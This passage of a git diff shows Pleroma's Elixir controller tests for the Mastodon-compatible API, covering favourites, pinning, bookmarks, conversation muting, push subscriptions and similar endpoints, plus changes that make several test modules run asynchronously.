	\|> post("/api/v1/statuses/#{activity.id}/favourite")

	assert %{"id" => id, "favourites_count" => 1, "favourited" => true} =
	json_response_and_validate_schema(conn, 200)

	assert to_string(activity.id) == id
	end

	test "favoriting twice will just return 200", %{conn: conn} do
	activity = insert(:note_activity)

	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/#{activity.id}/favourite")

	assert conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/#{activity.id}/favourite")
	\|> json_response_and_validate_schema(200)
	end

	test "returns 404 error for a wrong id", %{conn: conn} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/1/favourite")

	assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"}
	end
	end

	describe "unfavoriting" do
	setup do: oauth_access(["write:favourites"])

	test "unfavorites a status and returns it", %{user: user, conn: conn} do
	activity = insert(:note_activity)

	{:ok, _} = CommonAPI.favorite(user, activity.id)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/#{activity.id}/unfavourite")

	assert %{"id" => id, "favourites_count" => 0, "favourited" => false} =
	json_response_and_validate_schema(conn, 200)

	assert to_string(activity.id) == id
	end

	test "returns 404 error for a wrong id", %{conn: conn} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/1/unfavourite")

	assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"}
	end
	end

	describe "pinned statuses" do
	setup do: oauth_access(["write:accounts"])

	setup %{user: user} do
	{:ok, activity} = CommonAPI.post(user, %{status: "HI!!!"})

	%{activity: activity}
	end

	setup do: clear_config([:instance, :max_pinned_statuses], 1)

	test "pin status", %{conn: conn, user: user, activity: activity} do
	id_str = to_string(activity.id)

	assert %{"id" => ^id_str, "pinned" => true} =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/#{activity.id}/pin")
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => ^id_str, "pinned" => true}] =
	conn
	\|> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
	\|> json_response_and_validate_schema(200)
	end

	test "/pin: returns 400 error when activity is not public", %{conn: conn, user: user} do
	{:ok, dm} = CommonAPI.post(user, %{status: "test", visibility: "direct"})

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/#{dm.id}/pin")

	assert json_response_and_validate_schema(conn, 400) == %{"error" => "Could not pin"}
	end

	test "unpin status", %{conn: conn, user: user, activity: activity} do
	{:ok, _} = CommonAPI.pin(activity.id, user)
	user = refresh_record(user)

	id_str = to_string(activity.id)

	assert %{"id" => ^id_str, "pinned" => false} =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity.id}/unpin")
	\|> json_response_and_validate_schema(200)

	assert [] =
	conn
	\|> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
	\|> json_response_and_validate_schema(200)
	end

	test "/unpin: returns 400 error when activity is not exist", %{conn: conn} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/1/unpin")

	assert json_response_and_validate_schema(conn, 400) == %{"error" => "Could not unpin"}
	end

	test "max pinned statuses", %{conn: conn, user: user, activity: activity_one} do
	{:ok, activity_two} = CommonAPI.post(user, %{status: "HI!!!"})

	id_str_one = to_string(activity_one.id)

	assert %{"id" => ^id_str_one, "pinned" => true} =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/#{id_str_one}/pin")
	\|> json_response_and_validate_schema(200)

	user = refresh_record(user)

	assert %{"error" => "You have already pinned the maximum number of statuses"} =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity_two.id}/pin")
	\|> json_response_and_validate_schema(400)
	end

	test "on pin removes deletion job, on unpin reschedule deletion" do
	%{conn: conn} = oauth_access(["write:accounts", "write:statuses"])
	expires_in = 2 * 60 * 60

	expires_at = DateTime.add(DateTime.utc_now(), expires_in)

	assert %{"id" => id} =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("api/v1/statuses", %{
	"status" => "oolong",
	"expires_in" => expires_in
	})
	\|> json_response_and_validate_schema(200)

	assert_enqueued(
	worker: Pleroma.Workers.PurgeExpiredActivity,
	args: %{activity_id: id},
	scheduled_at: expires_at
	)

	assert %{"id" => ^id, "pinned" => true} =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/#{id}/pin")
	\|> json_response_and_validate_schema(200)

	refute_enqueued(
	worker: Pleroma.Workers.PurgeExpiredActivity,
	args: %{activity_id: id},
	scheduled_at: expires_at
	)

	assert %{"id" => ^id, "pinned" => false} =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/#{id}/unpin")
	\|> json_response_and_validate_schema(200)

	assert_enqueued(
	worker: Pleroma.Workers.PurgeExpiredActivity,
	args: %{activity_id: id},
	scheduled_at: expires_at
	)
	end
	end

	describe "cards" do
	setup do
	Config.put([:rich_media, :enabled], true)

	oauth_access(["read:statuses"])
	end

	test "returns rich-media card", %{conn: conn, user: user} do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)

	{:ok, activity} = CommonAPI.post(user, %{status: "https://example.com/ogp"})

	card_data = %{
	"image" => "http://ia.media-imdb.com/images/rock.jpg",
	"provider_name" => "example.com",
	"provider_url" => "https://example.com",
	"title" => "The Rock",
	"type" => "link",
	"url" => "https://example.com/ogp",
	"description" =>
	"Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.",
	"pleroma" => %{
	"opengraph" => %{
	"image" => "http://ia.media-imdb.com/images/rock.jpg",
	"title" => "The Rock",
	"type" => "video.movie",
	"url" => "https://example.com/ogp",
	"description" =>
	"Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer."
	}
	}
	}

	response =
	conn
	\|> get("/api/v1/statuses/#{activity.id}/card")
	\|> json_response_and_validate_schema(200)

	assert response == card_data

	# works with private posts
	{:ok, activity} =
	CommonAPI.post(user, %{status: "https://example.com/ogp", visibility: "direct"})

	response_two =
	conn
	\|> get("/api/v1/statuses/#{activity.id}/card")
	\|> json_response_and_validate_schema(200)

	assert response_two == card_data
	end

	test "replaces missing description with an empty string", %{conn: conn, user: user} do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)

	{:ok, activity} = CommonAPI.post(user, %{status: "https://example.com/ogp-missing-data"})

	response =
	conn
	\|> get("/api/v1/statuses/#{activity.id}/card")
	\|> json_response_and_validate_schema(:ok)

	assert response == %{
	"type" => "link",
	"title" => "Pleroma",
	"description" => "",
	"image" => nil,
	"provider_name" => "example.com",
	"provider_url" => "https://example.com",
	"url" => "https://example.com/ogp-missing-data",
	"pleroma" => %{
	"opengraph" => %{
	"title" => "Pleroma",
	"type" => "website",
	"url" => "https://example.com/ogp-missing-data"
	}
	}
	}
	end
	end

	test "bookmarks" do
	bookmarks_uri = "/api/v1/bookmarks"

	%{conn: conn} = oauth_access(["write:bookmarks", "read:bookmarks"])
	author = insert(:user)

	{:ok, activity1} = CommonAPI.post(author, %{status: "heweoo?"})
	{:ok, activity2} = CommonAPI.post(author, %{status: "heweoo!"})

	response1 =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/#{activity1.id}/bookmark")

	assert json_response_and_validate_schema(response1, 200)["bookmarked"] == true

	response2 =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/#{activity2.id}/bookmark")

	assert json_response_and_validate_schema(response2, 200)["bookmarked"] == true

	bookmarks = get(conn, bookmarks_uri)

	assert [
	json_response_and_validate_schema(response2, 200),
	json_response_and_validate_schema(response1, 200)
	] ==
	json_response_and_validate_schema(bookmarks, 200)

	response1 =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/#{activity1.id}/unbookmark")

	assert json_response_and_validate_schema(response1, 200)["bookmarked"] == false

	bookmarks = get(conn, bookmarks_uri)

	assert [json_response_and_validate_schema(response2, 200)] ==
	json_response_and_validate_schema(bookmarks, 200)
	end

	describe "conversation muting" do
	setup do: oauth_access(["write:mutes"])

	setup do
	post_user = insert(:user)
	{:ok, activity} = CommonAPI.post(post_user, %{status: "HIE"})
	%{activity: activity}
	end

	test "mute conversation", %{conn: conn, activity: activity} do
	id_str = to_string(activity.id)

	assert %{"id" => ^id_str, "muted" => true} =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/#{activity.id}/mute")
	\|> json_response_and_validate_schema(200)
	end

	test "cannot mute already muted conversation", %{conn: conn, user: user, activity: activity} do
	{:ok, _} = CommonAPI.add_mute(user, activity)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/#{activity.id}/mute")

	assert json_response_and_validate_schema(conn, 400) == %{
	"error" => "conversation is already muted"
	}
	end

	test "unmute conversation", %{conn: conn, user: user, activity: activity} do
	{:ok, _} = CommonAPI.add_mute(user, activity)

	id_str = to_string(activity.id)

	assert %{"id" => ^id_str, "muted" => false} =
	conn
	# \|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity.id}/unmute")
	\|> json_response_and_validate_schema(200)
	end
	end

	test "Repeated posts that are replies incorrectly have in_reply_to_id null", %{conn: conn} do
	user1 = insert(:user)
	user2 = insert(:user)
	user3 = insert(:user)

	{:ok, replied_to} = CommonAPI.post(user1, %{status: "cofe"})

	# Reply to status from another user
	conn1 =
	conn
	\|> assign(:user, user2)
	\|> assign(:token, insert(:oauth_token, user: user2, scopes: ["write:statuses"]))
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id})

	assert %{"content" => "xD", "id" => id} = json_response_and_validate_schema(conn1, 200)

	activity = Activity.get_by_id_with_object(id)

	assert Object.normalize(activity).data["inReplyTo"] == Object.normalize(replied_to).data["id"]
	assert Activity.get_in_reply_to_activity(activity).id == replied_to.id

	# Reblog from the third user
	conn2 =
	conn
	\|> assign(:user, user3)
	\|> assign(:token, insert(:oauth_token, user: user3, scopes: ["write:statuses"]))
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/#{activity.id}/reblog")

	assert %{"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}} =
	json_response_and_validate_schema(conn2, 200)

	assert to_string(activity.id) == id

	# Getting third user status
	conn3 =
	conn
	\|> assign(:user, user3)
	\|> assign(:token, insert(:oauth_token, user: user3, scopes: ["read:statuses"]))
	\|> get("api/v1/timelines/home")

	[reblogged_activity] = json_response(conn3, 200)

	assert reblogged_activity["reblog"]["in_reply_to_id"] == replied_to.id

	replied_to_user = User.get_by_ap_id(replied_to.data["actor"])
	assert reblogged_activity["reblog"]["in_reply_to_account_id"] == replied_to_user.id
	end

	describe "GET /api/v1/statuses/:id/favourited_by" do
	setup do: oauth_access(["read:accounts"])

	setup %{user: user} do
	{:ok, activity} = CommonAPI.post(user, %{status: "test"})

	%{activity: activity}
	end

	test "returns users who have favorited the status", %{conn: conn, activity: activity} do
	other_user = insert(:user)
	{:ok, _} = CommonAPI.favorite(other_user, activity.id)

	response =
	conn
	\|> get("/api/v1/statuses/#{activity.id}/favourited_by")
	\|> json_response_and_validate_schema(:ok)

	[%{"id" => id}] = response

	assert id == other_user.id
	end

	test "returns empty array when status has not been favorited yet", %{
	conn: conn,
	activity: activity
	} do
	response =
	conn
	\|> get("/api/v1/statuses/#{activity.id}/favourited_by")
	\|> json_response_and_validate_schema(:ok)

	assert Enum.empty?(response)
	end

	test "does not return users who have favorited the status but are blocked", %{
	conn: %{assigns: %{user: user}} = conn,
	activity: activity
	} do
	other_user = insert(:user)
	{:ok, _user_relationship} = User.block(user, other_user)

	{:ok, _} = CommonAPI.favorite(other_user, activity.id)

	response =
	conn
	\|> get("/api/v1/statuses/#{activity.id}/favourited_by")
	\|> json_response_and_validate_schema(:ok)

	assert Enum.empty?(response)
	end

	test "does not fail on an unauthenticated request", %{activity: activity} do
	other_user = insert(:user)
	{:ok, _} = CommonAPI.favorite(other_user, activity.id)

	response =
	build_conn()
	\|> get("/api/v1/statuses/#{activity.id}/favourited_by")
	\|> json_response_and_validate_schema(:ok)

	[%{"id" => id}] = response
	assert id == other_user.id
	end

	test "requires authentication for private posts", %{user: user} do
	other_user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{
	status: "@#{other_user.nickname} wanna get some #cofe together?",
	visibility: "direct"
	})

	{:ok, _} = CommonAPI.favorite(other_user, activity.id)

	favourited_by_url = "/api/v1/statuses/#{activity.id}/favourited_by"

	build_conn()
	\|> get(favourited_by_url)
	\|> json_response_and_validate_schema(404)

	conn =
	build_conn()
	\|> assign(:user, other_user)
	\|> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"]))

	conn
	\|> assign(:token, nil)
	\|> get(favourited_by_url)
	\|> json_response_and_validate_schema(404)

	response =
	conn
	\|> get(favourited_by_url)
	\|> json_response_and_validate_schema(200)

	[%{"id" => id}] = response
	assert id == other_user.id
	end

	test "returns empty array when :show_reactions is disabled", %{conn: conn, activity: activity} do
	clear_config([:instance, :show_reactions], false)

	other_user = insert(:user)
	{:ok, _} = CommonAPI.favorite(other_user, activity.id)

	response =
	conn
	\|> get("/api/v1/statuses/#{activity.id}/favourited_by")
	\|> json_response_and_validate_schema(:ok)

	assert Enum.empty?(response)
	end
	end

	describe "GET /api/v1/statuses/:id/reblogged_by" do
	setup do: oauth_access(["read:accounts"])

	setup %{user: user} do
	{:ok, activity} = CommonAPI.post(user, %{status: "test"})

	%{activity: activity}
	end

	test "returns users who have reblogged the status", %{conn: conn, activity: activity} do
	other_user = insert(:user)
	{:ok, _} = CommonAPI.repeat(activity.id, other_user)

	response =
	conn
	\|> get("/api/v1/statuses/#{activity.id}/reblogged_by")
	\|> json_response_and_validate_schema(:ok)

	[%{"id" => id}] = response

	assert id == other_user.id
	end

	test "returns empty array when status has not been reblogged yet", %{
	conn: conn,
	activity: activity
	} do
	response =
	conn
	\|> get("/api/v1/statuses/#{activity.id}/reblogged_by")
	\|> json_response_and_validate_schema(:ok)

	assert Enum.empty?(response)
	end

	test "does not return users who have reblogged the status but are blocked", %{
	conn: %{assigns: %{user: user}} = conn,
	activity: activity
	} do
	other_user = insert(:user)
	{:ok, _user_relationship} = User.block(user, other_user)

	{:ok, _} = CommonAPI.repeat(activity.id, other_user)

	response =
	conn
	\|> get("/api/v1/statuses/#{activity.id}/reblogged_by")
	\|> json_response_and_validate_schema(:ok)

	assert Enum.empty?(response)
	end

	test "does not return users who have reblogged the status privately", %{
	conn: conn
	} do
	other_user = insert(:user)
	{:ok, activity} = CommonAPI.post(other_user, %{status: "my secret post"})

	{:ok, _} = CommonAPI.repeat(activity.id, other_user, %{visibility: "private"})

	response =
	conn
	\|> get("/api/v1/statuses/#{activity.id}/reblogged_by")
	\|> json_response_and_validate_schema(:ok)

	assert Enum.empty?(response)
	end

	test "does not fail on an unauthenticated request", %{activity: activity} do
	other_user = insert(:user)
	{:ok, _} = CommonAPI.repeat(activity.id, other_user)

	response =
	build_conn()
	\|> get("/api/v1/statuses/#{activity.id}/reblogged_by")
	\|> json_response_and_validate_schema(:ok)

	[%{"id" => id}] = response
	assert id == other_user.id
	end

	test "requires authentication for private posts", %{user: user} do
	other_user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{
	status: "@#{other_user.nickname} wanna get some #cofe together?",
	visibility: "direct"
	})

	build_conn()
	\|> get("/api/v1/statuses/#{activity.id}/reblogged_by")
	\|> json_response_and_validate_schema(404)

	response =
	build_conn()
	\|> assign(:user, other_user)
	\|> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"]))
	\|> get("/api/v1/statuses/#{activity.id}/reblogged_by")
	\|> json_response_and_validate_schema(200)

	assert [] == response
	end
	end

	test "context" do
	user = insert(:user)

	{:ok, %{id: id1}} = CommonAPI.post(user, %{status: "1"})
	{:ok, %{id: id2}} = CommonAPI.post(user, %{status: "2", in_reply_to_status_id: id1})
	{:ok, %{id: id3}} = CommonAPI.post(user, %{status: "3", in_reply_to_status_id: id2})
	{:ok, %{id: id4}} = CommonAPI.post(user, %{status: "4", in_reply_to_status_id: id3})
	{:ok, %{id: id5}} = CommonAPI.post(user, %{status: "5", in_reply_to_status_id: id4})

	response =
	build_conn()
	\|> get("/api/v1/statuses/#{id3}/context")
	\|> json_response_and_validate_schema(:ok)

	assert %{
	"ancestors" => [%{"id" => ^id1}, %{"id" => ^id2}],
	"descendants" => [%{"id" => ^id4}, %{"id" => ^id5}]
	} = response
	end

	test "favorites paginate correctly" do
	%{user: user, conn: conn} = oauth_access(["read:favourites"])
	other_user = insert(:user)
	{:ok, first_post} = CommonAPI.post(other_user, %{status: "bla"})
	{:ok, second_post} = CommonAPI.post(other_user, %{status: "bla"})
	{:ok, third_post} = CommonAPI.post(other_user, %{status: "bla"})

	{:ok, _first_favorite} = CommonAPI.favorite(user, third_post.id)
	{:ok, _second_favorite} = CommonAPI.favorite(user, first_post.id)
	{:ok, third_favorite} = CommonAPI.favorite(user, second_post.id)

	result =
	conn
	\|> get("/api/v1/favourites?limit=1")

	assert [%{"id" => post_id}] = json_response_and_validate_schema(result, 200)
	assert post_id == second_post.id

	# Using the header for pagination works correctly
	[next, _] = get_resp_header(result, "link") \|> hd() \|> String.split(", ")
	[_, max_id] = Regex.run(~r/max_id=([^&]+)/, next)

	assert max_id == third_favorite.id

	result =
	conn
	\|> get("/api/v1/favourites?max_id=#{max_id}")

	assert [%{"id" => first_post_id}, %{"id" => third_post_id}] =
	json_response_and_validate_schema(result, 200)

	assert first_post_id == first_post.id
	assert third_post_id == third_post.id
	end

	test "returns the favorites of a user" do
	%{user: user, conn: conn} = oauth_access(["read:favourites"])
	other_user = insert(:user)

	{:ok, _} = CommonAPI.post(other_user, %{status: "bla"})
	{:ok, activity} = CommonAPI.post(other_user, %{status: "trees are happy"})

	{:ok, last_like} = CommonAPI.favorite(user, activity.id)

	first_conn = get(conn, "/api/v1/favourites")

	assert [status] = json_response_and_validate_schema(first_conn, 200)
	assert status["id"] == to_string(activity.id)

	assert [{"link", _link_header}] =
	Enum.filter(first_conn.resp_headers, fn element -> match?({"link", _}, element) end)

	# Honours query params
	{:ok, second_activity} =
	CommonAPI.post(other_user, %{
	status: "Trees Are Never Sad Look At Them Every Once In Awhile They're Quite Beautiful."
	})

	{:ok, _} = CommonAPI.favorite(user, second_activity.id)

	second_conn = get(conn, "/api/v1/favourites?since_id=#{last_like.id}")

	assert [second_status] = json_response_and_validate_schema(second_conn, 200)
	assert second_status["id"] == to_string(second_activity.id)

	third_conn = get(conn, "/api/v1/favourites?limit=0")

	assert [] = json_response_and_validate_schema(third_conn, 200)
	end

	test "expires_at is nil for another user" do
	%{conn: conn, user: user} = oauth_access(["read:statuses"])
	expires_at = DateTime.add(DateTime.utc_now(), 1_000_000)
	{:ok, activity} = CommonAPI.post(user, %{status: "foobar", expires_in: 1_000_000})

	assert %{"pleroma" => %{"expires_at" => a_expires_at}} =
	conn
	\|> get("/api/v1/statuses/#{activity.id}")
	\|> json_response_and_validate_schema(:ok)

	{:ok, a_expires_at, 0} = DateTime.from_iso8601(a_expires_at)
	assert DateTime.diff(expires_at, a_expires_at) == 0

	%{conn: conn} = oauth_access(["read:statuses"])

	assert %{"pleroma" => %{"expires_at" => nil}} =
	conn
	\|> get("/api/v1/statuses/#{activity.id}")
	\|> json_response_and_validate_schema(:ok)
	end

	test "posting a local only status" do
	%{user: _user, conn: conn} = oauth_access(["write:statuses"])

	conn_one =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{
	"status" => "cofe",
	"visibility" => "local"
	})

	local = Pleroma.Constants.as_local_public()

	assert %{"content" => "cofe", "id" => id, "visibility" => "local"} =
	json_response(conn_one, 200)

	assert %Activity{id: ^id, data: %{"to" => [^local]}} = Activity.get_by_id(id)
	end

	describe "muted reactions" do
	test "index" do
	%{conn: conn, user: user} = oauth_access(["read:statuses"])

	other_user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{status: "test"})

	{:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "🎅")
	User.mute(user, other_user)

	result =
	conn
	\|> get("/api/v1/statuses/?ids[]=#{activity.id}")
	\|> json_response_and_validate_schema(200)

	assert [
	%{
	"pleroma" => %{
	"emoji_reactions" => []
	}
	}
	] = result

	result =
	conn
	\|> get("/api/v1/statuses/?ids[]=#{activity.id}&with_muted=true")
	\|> json_response_and_validate_schema(200)

	assert [
	%{
	"pleroma" => %{
	"emoji_reactions" => [%{"count" => 1, "me" => false, "name" => "🎅"}]
	}
	}
	] = result
	end

	test "show" do
	# %{conn: conn, user: user, token: token} = oauth_access(["read:statuses"])
	%{conn: conn, user: user, token: _token} = oauth_access(["read:statuses"])

	other_user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{status: "test"})

	{:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "🎅")
	User.mute(user, other_user)

	result =
	conn
	\|> get("/api/v1/statuses/#{activity.id}")
	\|> json_response_and_validate_schema(200)

	assert %{
	"pleroma" => %{
	"emoji_reactions" => []
	}
	} = result

	result =
	conn
	\|> get("/api/v1/statuses/#{activity.id}?with_muted=true")
	\|> json_response_and_validate_schema(200)

	assert %{
	"pleroma" => %{
	"emoji_reactions" => [%{"count" => 1, "me" => false, "name" => "🎅"}]
	}
	} = result
	end
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/controllers/subscription_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/subscription_controller_test.exs
	index 5ef39bdb2..4bb085750 100644
	--- a/test/pleroma/web/mastodon_api/controllers/subscription_controller_test.exs
	+++ b/test/pleroma/web/mastodon_api/controllers/subscription_controller_test.exs
	@@ -1,263 +1,263 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.SubscriptionControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	import Pleroma.Factory

	alias Pleroma.Web.Push
	alias Pleroma.Web.Push.Subscription

	@sub %{
	"endpoint" => "https://example.com/example/1234",
	"keys" => %{
	"auth" => "8eDyX_uCN0XRhSbY5hs7Hg==",
	"p256dh" =>
	"BCIWgsnyXDv1VkhqL2P7YRBvdeuDnlwAPT2guNhdIoW3IP7GmHh1SMKPLxRf7x8vJy6ZFK3ol2ohgn_-0yP7QQA="
	}
	}
	@server_key Keyword.get(Push.vapid_config(), :public_key)

	setup do
	user = insert(:user)
	token = insert(:oauth_token, user: user, scopes: ["push"])

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> assign(:token, token)
	\|> put_req_header("content-type", "application/json")

	%{conn: conn, user: user, token: token}
	end

	defmacro assert_error_when_disable_push(do: yield) do
	quote do
	vapid_details = Application.get_env(:web_push_encryption, :vapid_details, [])
	Application.put_env(:web_push_encryption, :vapid_details, [])

	assert %{"error" => "Web push subscription is disabled on this Pleroma instance"} ==
	unquote(yield)

	Application.put_env(:web_push_encryption, :vapid_details, vapid_details)
	end
	end

	describe "when disabled" do
	test "POST returns error", %{conn: conn} do
	assert_error_when_disable_push do
	conn
	\|> post("/api/v1/push/subscription", %{
	"data" => %{"alerts" => %{"mention" => true}},
	"subscription" => @sub
	})
	\|> json_response_and_validate_schema(403)
	end
	end

	test "GET returns error", %{conn: conn} do
	assert_error_when_disable_push do
	conn
	\|> get("/api/v1/push/subscription", %{})
	\|> json_response_and_validate_schema(403)
	end
	end

	test "PUT returns error", %{conn: conn} do
	assert_error_when_disable_push do
	conn
	\|> put("/api/v1/push/subscription", %{data: %{"alerts" => %{"mention" => false}}})
	\|> json_response_and_validate_schema(403)
	end
	end

	test "DELETE returns error", %{conn: conn} do
	assert_error_when_disable_push do
	conn
	\|> delete("/api/v1/push/subscription", %{})
	\|> json_response_and_validate_schema(403)
	end
	end
	end

	describe "creates push subscription" do
	test "ignores unsupported types", %{conn: conn} do
	result =
	conn
	\|> post("/api/v1/push/subscription", %{
	"data" => %{
	"alerts" => %{
	"fake_unsupported_type" => true
	}
	},
	"subscription" => @sub
	})
	\|> json_response_and_validate_schema(200)

	refute %{
	"alerts" => %{
	"fake_unsupported_type" => true
	}
	} == result
	end

	test "successful creation", %{conn: conn} do
	result =
	conn
	\|> post("/api/v1/push/subscription", %{
	"data" => %{
	"alerts" => %{
	"mention" => true,
	"favourite" => true,
	"follow" => true,
	"reblog" => true,
	"pleroma:chat_mention" => true,
	"pleroma:emoji_reaction" => true
	}
	},
	"subscription" => @sub
	})
	\|> json_response_and_validate_schema(200)

	[subscription] = Pleroma.Repo.all(Subscription)

	assert %{
	"alerts" => %{
	"mention" => true,
	"favourite" => true,
	"follow" => true,
	"reblog" => true,
	"pleroma:chat_mention" => true,
	"pleroma:emoji_reaction" => true
	},
	"endpoint" => subscription.endpoint,
	"id" => to_string(subscription.id),
	"server_key" => @server_key
	} == result
	end
	end

	describe "gets a user subscription" do
	test "returns error when user hasn't subscription", %{conn: conn} do
	res =
	conn
	\|> get("/api/v1/push/subscription", %{})
	\|> json_response_and_validate_schema(404)

	assert %{"error" => "Record not found"} == res
	end

	test "returns a user subsciption", %{conn: conn, user: user, token: token} do
	subscription =
	insert(:push_subscription,
	user: user,
	token: token,
	data: %{"alerts" => %{"mention" => true}}
	)

	res =
	conn
	\|> get("/api/v1/push/subscription", %{})
	\|> json_response_and_validate_schema(200)

	expect = %{
	"alerts" => %{"mention" => true},
	"endpoint" => "https://example.com/example/1234",
	"id" => to_string(subscription.id),
	"server_key" => @server_key
	}

	assert expect == res
	end
	end

	describe "updates a user subsciption" do
	setup %{conn: conn, user: user, token: token} do
	subscription =
	insert(:push_subscription,
	user: user,
	token: token,
	data: %{
	"alerts" => %{
	"mention" => true,
	"favourite" => true,
	"follow" => true,
	"reblog" => true,
	"pleroma:chat_mention" => true,
	"pleroma:emoji_reaction" => true
	}
	}
	)

	%{conn: conn, user: user, token: token, subscription: subscription}
	end

	test "returns updated subsciption", %{conn: conn, subscription: subscription} do
	res =
	conn
	\|> put("/api/v1/push/subscription", %{
	data: %{
	"alerts" => %{
	"mention" => false,
	"favourite" => false,
	"follow" => false,
	"reblog" => false,
	"pleroma:chat_mention" => false,
	"pleroma:emoji_reaction" => false
	}
	}
	})
	\|> json_response_and_validate_schema(200)

	expect = %{
	"alerts" => %{
	"mention" => false,
	"favourite" => false,
	"follow" => false,
	"reblog" => false,
	"pleroma:chat_mention" => false,
	"pleroma:emoji_reaction" => false
	},
	"endpoint" => "https://example.com/example/1234",
	"id" => to_string(subscription.id),
	"server_key" => @server_key
	}

	assert expect == res
	end
	end

	describe "deletes the user subscription" do
	test "returns error when user hasn't subscription", %{conn: conn} do
	res =
	conn
	\|> delete("/api/v1/push/subscription", %{})
	\|> json_response_and_validate_schema(404)

	assert %{"error" => "Record not found"} == res
	end

	test "returns empty result and delete user subsciption", %{
	conn: conn,
	user: user,
	token: token
	} do
	subscription =
	insert(:push_subscription,
	user: user,
	token: token,
	data: %{"alerts" => %{"mention" => true}}
	)

	res =
	conn
	\|> delete("/api/v1/push/subscription", %{})
	\|> json_response_and_validate_schema(200)

	assert %{} == res
	refute Pleroma.Repo.get(Subscription, subscription.id)
	end
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/controllers/suggestion_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/suggestion_controller_test.exs
	index 7f08e187c..c3471266a 100644
	--- a/test/pleroma/web/mastodon_api/controllers/suggestion_controller_test.exs
	+++ b/test/pleroma/web/mastodon_api/controllers/suggestion_controller_test.exs
	@@ -1,18 +1,18 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.SuggestionControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	setup do: oauth_access(["read"])

	test "returns empty result", %{conn: conn} do
	res =
	conn
	\|> get("/api/v1/suggestions")
	\|> json_response_and_validate_schema(200)

	assert res == []
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/mastodon_api_controller_test.exs b/test/pleroma/web/mastodon_api/mastodon_api_controller_test.exs
	index bb4bc4396..be5bf68a3 100644
	--- a/test/pleroma/web/mastodon_api/mastodon_api_controller_test.exs
	+++ b/test/pleroma/web/mastodon_api/mastodon_api_controller_test.exs
	@@ -1,34 +1,34 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	describe "empty_array/2 (stubs)" do
	test "GET /api/v1/accounts/:id/identity_proofs" do
	%{user: user, conn: conn} = oauth_access(["read:accounts"])

	assert [] ==
	conn
	\|> get("/api/v1/accounts/#{user.id}/identity_proofs")
	\|> json_response(200)
	end

	test "GET /api/v1/endorsements" do
	%{conn: conn} = oauth_access(["read:accounts"])

	assert [] ==
	conn
	\|> get("/api/v1/endorsements")
	\|> json_response(200)
	end

	test "GET /api/v1/trends", %{conn: conn} do
	assert [] ==
	conn
	\|> get("/api/v1/trends")
	\|> json_response(200)
	end
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/mastodon_api_test.exs b/test/pleroma/web/mastodon_api/mastodon_api_test.exs
